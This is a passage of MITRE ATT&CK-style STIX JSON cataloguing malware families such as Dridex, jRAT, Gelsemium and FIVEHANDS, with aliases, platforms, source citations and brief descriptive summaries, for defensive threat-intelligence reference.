2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SYSCON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","type":"malware","created":"2020-06-02T18:46:58.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0464","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0464"},{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."},{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:17:10.012Z","name":"SYSCON","description":"[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CookieMiner"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","type":"malware","created":"2020-07-22T19:00:00.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0492","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0492"},{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-22T01:50:12.660Z","name":"CookieMiner","description":"[CookieMiner](https://attack.mitre.org/software/S0492) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.(Citation: Unit42 CookieMiner Jan 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Hancitor","Chanitor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ef2247bf-8062-404b-894f-d65d00564817","type":"malware","created":"2020-08-12T19:32:56.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0499","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0499"},{"source_name":"Chanitor","description":"(Citation: FireEye Hancitor)"},{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."},{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-10-16T00:41:06.476Z","name":"Hancitor","description":"[Hancitor](https://attack.mitre.org/software/S0499) is a downloader that has been used by [Pony](https://attack.mitre.org/software/S0453) and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Gelsemium","Gelsevirine","Gelsenicine","Gelsemine"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","type":"malware","created":"2021-11-30T19:02:16.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0666","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0666"},{"source_name":"Gelsevirine","description":"(Citation: ESET Gelsemium June 2021)"},{"source_name":"Gelsenicine","description":"(Citation: ESET Gelsemium June 2021)"},{"source_name":"Gelsemine","description":"(Citation: ESET Gelsemium June 2021)"},{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:28:21.437Z","name":"Gelsemium","description":"[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of dropper (Gelsemine), loader (Gelsenicine), and main (Gelsevirine) plug ins that has been used by the [Gelsemium](https://attack.mitre.org/groups/G0141) group since at least 2014.(Citation: ESET Gelsemium June 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Windows","macOS","Android"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["jRAT","JSocket","AlienSpy","Frutas","Sockrat","Unrecom","jFrutas","Adwind","jBiFrost","Trojan.Maljava"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0283","external_id":"S0283"},{"source_name":"jRAT","description":"(Citation: jRAT Symantec Aug 2018)"},{"source_name":"JSocket","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"AlienSpy","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Frutas","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Sockrat","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Unrecom","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"jFrutas","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"Adwind","description":"(Citation: Kaspersky Adwind Feb 2016)"},{"source_name":"jBiFrost","description":"(Citation: NCSC Joint Report Public Tools)"},{"source_name":"Trojan.Maljava","description":"(Citation: jRAT Symantec Aug 2018)"},{"description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","source_name":"Kaspersky Adwind Feb 2016"},{"source_name":"jRAT Symantec Aug 2018","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:45.842Z","name":"jRAT","description":"[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Falcone"],"x_mitre_aliases":["Helminth"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0170","external_id":"S0170"},{"source_name":"Helminth","description":"(Citation: Palo Alto OilRig May 2016)"},{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-28T21:35:13.610Z","name":"Helminth","description":"[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Dridex","Bugat v5"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","type":"malware","created":"2019-05-30T19:47:37.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0384","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0384"},{"source_name":"Dridex","description":"(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)"},{"source_name":"Bugat v5","description":"(Citation: Dell Dridex Oct 2015)"},{"source_name":"Dell Dridex Oct 2015","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."},{"source_name":"Kaspersky Dridex May 2017","url":"https://securelist.com/dridex-a-history-of-evolution/78531/","description":"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019."},{"source_name":"Treasury EvilCorp Dec 2019","url":"https://home.treasury.gov/news/press-releases/sm845","description":"U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021."},{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-10-01T20:30:30.043Z","name":"Dridex","description":"[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BBK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","type":"malware","created":"2020-06-10T18:00:28.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0470","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0470"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T15:36:00.792Z","name":"BBK","description":"[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Komplex"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f108215f-3487-489d-be8b-80e346d32518","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0162","url":"https://attack.mitre.org/software/S0162","source_name":"mitre-attack"},{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"},{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. 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(2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"Intego Shlayer Feb 2018","url":"https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/","description":"Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019."},{"source_name":"sentinelone shlayer to zshlayer","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021."},{"description":"Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. 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(2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"}],"modified":"2020-06-30T15:06:42.569Z","name":"Denis","description":"[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050). [Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor.(Citation: Cybereason Oceanlotus May 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GLOOXMAIL","Trojan.GTALK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2","type":"malware","created":"2017-05-31T21:32:20.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0026","external_id":"S0026"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T16:42:52.248Z","name":"GLOOXMAIL","description":"[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Dok","Retefe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0281","external_id":"S0281"},{"source_name":"Dok","description":"(Citation: objsee mac malware 2017)"},{"source_name":"Retefe","description":"(Citation: objsee mac malware 2017)."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."},{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. 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(2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2022-03-25T16:46:35.932Z","name":"Waterbear","description":"[Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["FIVEHANDS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f464354c-7103-47c6-969b-8766f0157ed2","type":"malware","created":"2021-06-04T15:34:01.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0618","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0618"},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-10-18T17:52:32.865Z","name":"FIVEHANDS","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Comnie"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0244","external_id":"S0244"},{"source_name":"Comnie","description":"(Citation: Palo Alto Comnie)"},{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-30T15:25:11.871Z","name":"Comnie","description":"[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Vasport"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0207","external_id":"S0207"},{"source_name":"Vasport","description":"(Citation: Symantec Vasport May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Vasport May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}],"modified":"2021-01-06T19:32:28.278Z","name":"Vasport","description":"[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["AutoIt backdoor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","type":"malware","created":"2017-05-31T21:33:14.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0129","external_id":"S0129"},{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. 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(Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["JSS Loader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f559f945-eb8b-48b1-904c-68568deebed3","type":"malware","created":"2021-09-22T14:44:48.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0648","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0648"},{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:57:14.998Z","name":"JSS Loader","description":"[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PHOREAL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0158","external_id":"S0158"},{"source_name":"PHOREAL","description":"(Citation: FireEye APT32 May 2017)"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-30T17:15:03.862Z","name":"PHOREAL","description":"[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["OSInfo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0165","external_id":"S0165"},{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T22:53:32.172Z","name":"OSInfo","description":"[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. 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Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-30T17:00:58.813Z","name":"MacSpy","description":"[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered 